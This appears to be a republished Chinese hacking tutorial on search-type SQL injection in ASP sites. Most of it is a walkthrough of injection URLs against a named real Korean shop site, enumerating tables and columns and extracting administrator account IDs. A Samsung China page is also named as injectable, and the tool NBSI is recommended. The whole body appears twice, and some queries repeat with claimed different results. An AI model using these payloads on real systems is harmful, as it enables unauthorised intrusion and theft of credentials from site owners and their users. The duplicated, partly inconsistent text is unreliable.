ASP搜索型注入
發(fā)布日期:2021-12-20 11:51 | 文章來(lái)源:腳本之家
簡(jiǎn)單的判斷搜索型注入漏洞存在不存在的辦法是先搜索',如果出錯(cuò),說(shuō)明90%存在這個(gè)漏洞。然后搜索%,如果正常返回,說(shuō)明95%有洞了。
然后再搜索一個(gè)關(guān)鍵字,比如2006吧,正常返回所有2006相關(guān)的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在異同的話,就是100%有洞了。
這里看出有上面說(shuō)的洞后開始用nbsi來(lái)掃,結(jié)果總是超時(shí),郁悶,看來(lái)要手工來(lái)暴需要的信息了。。。
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到當(dāng)前數(shù)據(jù)庫(kù)賬號(hào)
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到當(dāng)前數(shù)據(jù)庫(kù)名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回錯(cuò)誤頁(yè)面,看來(lái)是沒(méi)有admin這個(gè)表了
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到當(dāng)前數(shù)據(jù)庫(kù)的第一個(gè)表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到當(dāng)前數(shù)據(jù)庫(kù)的第二個(gè)表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到當(dāng)前數(shù)據(jù)庫(kù)的第三個(gè)表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0 and '%'=' //依次類推,得到所有的表 其實(shí)分析可以知道只有這個(gè)tbl_admin表才是最重要的。接著開始暴列名。
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin這個(gè)表里的第一個(gè)列名c_employee_id
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin這個(gè)表里的第二個(gè)列名c_employee_name
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin這個(gè)表里的第三個(gè)列名c_password
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin這個(gè)表里的第四個(gè)列名c_level 列名暴完,暴管理員賬號(hào)密碼。 http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一個(gè)管理員的id為943hoon
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二個(gè)管理員的id為champ
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三個(gè)管理員的id為clark
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四個(gè)管理員的id為hskim
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五個(gè)管理員的id為jajeong
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //這個(gè)語(yǔ)句是暴出管理員密碼的,可惜直接返回了正常頁(yè)面,郁悶。。。。 一會(huì)再想別的辦法吧。。。。。
另外說(shuō)下,2.3 的啊D支持搜索型的注入方式是: 一般網(wǎng)站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=
構(gòu)造注入語(yǔ)句 三星%'and 1=1 and '%'='
三星%'and 1=2 and '%'='
兩個(gè)返回頁(yè)面是不一樣的 說(shuō)明有注入的漏洞 特征字 寫筆記本 就是三星%'and 1=1 and '%'=' 返回時(shí)有的 我一般搜索代碼是:
Select * from 表名 where 字段 like ’%關(guān)鍵字%’
這樣就造成了對(duì)關(guān)鍵字前后的所有匹配(%是用來(lái)全部匹配的)
這里如果關(guān)鍵字沒(méi)有過(guò)濾的話,就可以這樣來(lái)構(gòu)造:
關(guān)鍵字=’ and [查詢條件] and ‘%’=’
這樣查詢就變成
select * from 表名 where 字段 like '%' and 1=1 and '%'='%'
這樣就很好的構(gòu)成了一個(gè)sql注入點(diǎn),當(dāng)然用手工也可以,用nbsi也可以~~
注入是不分家的,沒(méi)必要什么型什么型的!~
《sql注入天書》的原話
第一節(jié)、SQL注入的一般步驟
首先,判斷環(huán)境,尋找注入點(diǎn),判斷數(shù)據(jù)庫(kù)類型,這在入門篇已經(jīng)講過(guò)了。
其次,根據(jù)注入?yún)?shù)類型,在腦海中重構(gòu)SQL語(yǔ)句的原貌,按參數(shù)類型主要分為下面三種:
(A) ID=49 這類注入的參數(shù)是數(shù)字型,SQL語(yǔ)句原貌大致如下:
Select * from 表名 where 字段=49
注入的參數(shù)為ID=49 And [查詢條件],即是生成語(yǔ)句:
Select * from 表名 where 字段=49 And [查詢條件] (B) Class=連續(xù)劇這類注入的參數(shù)是字符型,SQL語(yǔ)句原貌大致概如下:
Select * from 表名 where 字段=’連續(xù)劇’
注入的參數(shù)為Class=連續(xù)劇’ and [查詢條件] and ‘’=’ ,即是生成語(yǔ)句:
Select * from 表名 where 字段=’連續(xù)劇’ and [查詢條件] and ‘’=’’
(C) 搜索時(shí)沒(méi)過(guò)濾參數(shù)的,如keyword=關(guān)鍵字,SQL語(yǔ)句原貌大致如下:
Select * from 表名 where 字段like ’%關(guān)鍵字%’
注入的參數(shù)為keyword=’ and [查詢條件] and ‘%’=’,即是生成語(yǔ)句:
Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’ 當(dāng)然手工是麻煩的
用工具的話,我建議用nbsi的工具比較好,就我感覺(jué)只有nbsi結(jié)合了這個(gè)技術(shù),用別的軟體是不能注入的
注入點(diǎn)只要寫:
http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=%
再加個(gè)特征字符就可以了
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到當(dāng)前數(shù)據(jù)庫(kù)名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回錯(cuò)誤頁(yè)面,看來(lái)是沒(méi)有admin這個(gè)表了
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到當(dāng)前數(shù)據(jù)庫(kù)的第一個(gè)表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到當(dāng)前數(shù)據(jù)庫(kù)的第二個(gè)表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到當(dāng)前數(shù)據(jù)庫(kù)的第三個(gè)表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0 and '%'=' //依次類推,得到所有的表 其實(shí)分析可以知道只有這個(gè)tbl_admin表才是最重要的。接著開始暴列名。
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin這個(gè)表里的第一個(gè)列名c_employee_id
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin這個(gè)表里的第二個(gè)列名c_employee_name
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin這個(gè)表里的第三個(gè)列名c_password
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin這個(gè)表里的第四個(gè)列名c_level 列名暴完,暴管理員賬號(hào)密碼。 http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一個(gè)管理員的id為943hoon
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二個(gè)管理員的id為champ
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三個(gè)管理員的id為clark
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四個(gè)管理員的id為hskim
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五個(gè)管理員的id為jajeong
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //這個(gè)語(yǔ)句是暴出管理員密碼的,可惜直接返回了正常頁(yè)面,郁悶。。。。 一會(huì)再想別的辦法吧。。。。。
另外說(shuō)下,2.3 的啊D支持搜索型的注入方式是: 一般網(wǎng)站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=
構(gòu)造注入語(yǔ)句 三星%'and 1=1 and '%'='
三星%'and 1=2 and '%'='
兩個(gè)返回頁(yè)面是不一樣的 說(shuō)明有注入的漏洞 特征字 寫筆記本 就是三星%'and 1=1 and '%'=' 返回時(shí)有的 我一般搜索代碼是:
Select * from 表名 where 字段 like ’%關(guān)鍵字%’
這樣就造成了對(duì)關(guān)鍵字前后的所有匹配(%是用來(lái)全部匹配的)
這里如果關(guān)鍵字沒(méi)有過(guò)濾的話,就可以這樣來(lái)構(gòu)造:
關(guān)鍵字=’ and [查詢條件] and ‘%’=’
這樣查詢就變成
select * from 表名 where 字段 like '%' and 1=1 and '%'='%'
這樣就很好的構(gòu)成了一個(gè)sql注入點(diǎn),當(dāng)然用手工也可以,用nbsi也可以~~
注入是不分家的,沒(méi)必要什么型什么型的!~
《sql注入天書》的原話
第一節(jié)、SQL注入的一般步驟
首先,判斷環(huán)境,尋找注入點(diǎn),判斷數(shù)據(jù)庫(kù)類型,這在入門篇已經(jīng)講過(guò)了。
其次,根據(jù)注入?yún)?shù)類型,在腦海中重構(gòu)SQL語(yǔ)句的原貌,按參數(shù)類型主要分為下面三種:
(A) ID=49 這類注入的參數(shù)是數(shù)字型,SQL語(yǔ)句原貌大致如下:
Select * from 表名 where 字段=49
注入的參數(shù)為ID=49 And [查詢條件],即是生成語(yǔ)句:
Select * from 表名 where 字段=49 And [查詢條件] (B) Class=連續(xù)劇這類注入的參數(shù)是字符型,SQL語(yǔ)句原貌大致概如下:
Select * from 表名 where 字段=’連續(xù)劇’
注入的參數(shù)為Class=連續(xù)劇’ and [查詢條件] and ‘’=’ ,即是生成語(yǔ)句:
Select * from 表名 where 字段=’連續(xù)劇’ and [查詢條件] and ‘’=’’
(C) 搜索時(shí)沒(méi)過(guò)濾參數(shù)的,如keyword=關(guān)鍵字,SQL語(yǔ)句原貌大致如下:
Select * from 表名 where 字段like ’%關(guān)鍵字%’
注入的參數(shù)為keyword=’ and [查詢條件] and ‘%’=’,即是生成語(yǔ)句:
Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’ 當(dāng)然手工是麻煩的
用工具的話,我建議用nbsi的工具比較好,就我感覺(jué)只有nbsi結(jié)合了這個(gè)技術(shù),用別的軟體是不能注入的
注入點(diǎn)只要寫:
http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=%
再加個(gè)特征字符就可以了
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章